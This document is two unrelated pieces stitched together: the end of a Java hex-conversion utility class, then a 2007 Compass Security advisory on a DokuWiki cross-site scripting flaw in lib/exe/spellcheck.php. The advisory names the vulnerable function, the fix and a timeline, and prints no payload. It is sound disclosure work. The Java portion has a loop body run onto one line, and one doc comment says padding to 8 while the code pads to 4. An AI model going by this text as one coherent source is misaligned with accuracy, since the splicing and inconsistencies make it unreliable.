        if (seq == null) {
            return null;
        }
        StringBuffer buff = new StringBuffer();

        for (int i = 0; i < seq.length; i++) {
            buff.append(valueOf(seq[i], true));
        }
        return buff.toString();
    }
    /**
     * Converts a byte sequence into its hexadecimal notation.
     * @param seq a byte sequence
     * @param separator separator between bytes
     * @return hexadecimal notation of the byte sequence
     */
    public static String valueOf(byte[] seq, char separator) {
        if (seq == null) {
            return null;
        }
        StringBuffer buff = new StringBuffer();

        for (int i = 0; i < seq.length; i++) {             if (i > 0) {
                buff.append(separator);
            }
            buff.append(valueOf(seq[i], true));
        }
        return buff.toString();
    }
    /**
     * Converts a byte into its hexadecimal notation.
     * @param num a byte (1bytes)
     * @return hexadecimal notation of the byte
     */
    public static String valueOf(byte num) {
        return valueOf(num, true);
    }
    /**
     * Converts a byte into its hexadecimal notation.
     * @param num a byte (1bytes)
     * @param padding fit the length to 2 by filling with '0' when padding is true
     * @return hexadecimal notation of the byte
     */
    public static String valueOf(byte num, boolean padding) {
        String hex = Integer.toHexString((int)num);

        if (padding) {
            hex = "00" + hex;
            int len = hex.length();

            hex = hex.substring(len - 2, len);
        }
        return hex;
    }
    /**
     * Converts a integer into its hexadecimal notation.
     * @param num a integer (4bytes)
     * @return hexadecimal notation of the integer
     */
    public static String valueOf(int num) {
        return valueOf(num, true);
    }
    /**
     * Converts a integer into its hexadecimal notation.
     * @param num a integer (4bytes)
     * @param padding fit the length to 8 by filling with '0' when padding is true
     * @return hexadecimal notation of the integer
     */
    public static String valueOf(int num, boolean padding) {
        String hex = Integer.toHexString(num);

        if (padding) {
            hex = "00000000" + hex;
            int len = hex.length();

            hex = hex.substring(len - 8, len);
        }
        return hex;
    }
    /**
     * Converts a long integer into its hexadecimal notation.
     * @param num a long integer (8bytes)
     * @return hexadecimal notation of the long integer
     */
    public static String valueOf(long num) {
        return valueOf(num, true);
    }
    /**
     * Converts a long integer into its hexadecimal notation.
     * @param num a long integer (8bytes)
     * @param padding fit the length to 16 by filling with '0' when padding is true
     * @return hexadecimal notation of the long integer
     */
    public static String valueOf(long num, boolean padding) {
        String hex = Long.toHexString(num);

        if (padding) {
            hex = "0000000000000000" + hex;
            int len = hex.length();

            hex = hex.substring(len - 16, len);
        }
        return hex;
    }
    /**
     * Converts a short integer into its hexadecimal notation.
     * @param num a short integer (2bytes)
     * @return hexadecimal notation of the short integer
     */
    public static String valueOf(short num) {
        return valueOf(num, true);
    }
    /**
     * Converts a short integer into its hexadecimal notation.
     * @param num a short integer (2bytes)
     * @param padding fit the length to 8 by filling with '0' when padding is true
     * @return hexadecimal notation of the short integer
     */
    public static String valueOf(short num, boolean padding) {
        String hex = Integer.toHexString((int)num);

        if (padding) {
            hex = "0000" + hex;
            int len = hex.length();

            hex = hex.substring(len - 4, len);
        }
        return hex;
    }
}

DokuWiki Version 2007-06-26 XSS

#############################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
#############################################################
#
# CVE ID : CVE-2007-3930
# Product: DokuWiki
# Vendor:  DokuWiki Project
# Subject: Cross-site scripting - XSS
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    July 19th 2007
#
#############################################################

Introduction:
-------------
Compass Security discovered a web application security flaw in the DokuWiki application.

Vulnerable:
-----------
DokuWiki Version 2007-06-26 and prior

Not vulnerable:
---------------
DokuWiki Version 2007-06-26b

Patches:
--------
DokuWiki Version 2007-06-26b available from the DokuWiki download page.

Fix:
----
Remove the function spell_utf8test() from the PHP script named lib/exe/spellcheck.php

Description:
------------
The spell checker PHP script provides a test function which reflects unfiltered user input. Due to Microsoft's Internet Explorer mime-sniffing feature, injected JavaScript code gets executed even though the Content-Header is set to text/plain. 

Exploting the vulnerability will lead to so-called cross-site scripting (XSS) and allows the impersonation of logged-in DokuWiki users.

Milestones:
-----------
July 18th, Vulnerability discovered
July 18th, Vendor notified
July 19th, Vendor provided patched version

References:
-----------
Vendor Bug Report reference:
http://bugs.splitbrain.org/index.php?do=details&task_id=1195

DokuWiki reference:
http://wiki.splitbrain.org/wiki:dokuwiki

DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating documentation of any kind. It is targeted at developer teams, workgroups and small companies. It has a simple but powerful syntax which makes sure the datafiles remain readable outside the Wiki and eases the creation of structured texts. All data is stored in plain text files – no database is required.

XSS reference:
http://en.wikipedia.org/wiki/Cross-site_scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits. Cross-site scripting was originally referred to as CSS, although this usage has been largely discontinued.